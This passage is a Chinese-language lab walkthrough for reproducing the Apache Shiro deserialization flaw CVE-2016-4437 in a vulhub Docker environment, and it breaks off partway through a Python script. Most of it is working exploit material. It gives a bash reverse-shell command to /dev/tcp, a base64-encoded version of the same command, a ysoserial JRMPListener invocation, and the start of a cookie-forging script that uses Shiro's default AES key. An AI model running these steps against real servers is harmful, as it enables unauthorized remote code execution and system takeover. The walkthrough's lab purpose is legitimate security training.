一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
2、安装docker-compose
pip install docker-compose
3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、进入指定目录启动环境
cd vulhub/shiro/CVE-2016-4437
docker compose up
访问http://IP:8080
二、漏洞复现
首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
构造反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
然后使用工具ysoserial执行命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"
开始构造cookie
编写一个py脚本,内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt